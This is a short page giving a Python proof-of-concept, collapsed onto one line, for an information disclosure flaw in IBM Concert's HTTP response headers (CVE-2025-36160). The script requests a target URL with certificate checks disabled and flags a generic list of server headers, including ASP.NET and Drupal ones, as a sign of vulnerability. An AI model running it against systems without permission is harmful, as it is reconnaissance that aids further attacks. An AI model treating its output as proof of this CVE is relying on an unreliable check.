IBM Concert HTTP响应头信息泄露漏洞 (CVE-2025-36160)

import requests # CVE-2025-36160 PoC - Information Disclosure via HTTP Response Headers # Target: IBM Concert 1.0.0 - 2.0.0 # Description: Server discloses sensitive information in HTTP response headers def check_cve_2025_36160(target_url): """ Check if target is vulnerable to CVE-2025-36160 This vulnerability allows attackers to gather sensitive server information from HTTP response headers which could aid in further attacks. """ sensitive_headers = ['Server', 'X-Powered-By', 'X-AspNet-Version', 'X-AspNetMvc-Version', 'X-Generator', 'X-Drupal-Cache'] try: response = requests.get(target_url, timeout=10, verify=False) headers = response.headers print(f"[*] Target: {target_url}") print(f"[*] Status Code: {response.status_code}") print("\n[+] Checking for sensitive headers:") vulnerable = False for header in sensitive_headers: if header in headers: print(f" [!] {header}: {headers[header]}") vulnerable = True if vulnerable: print("\n[+] Target may be vulnerable to CVE-2025-36160") print("[+] Sensitive server information disclosed in response headers") return True else: print("\n[-] No sensitive headers detected") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-host/" check_cve_2025_36160(target)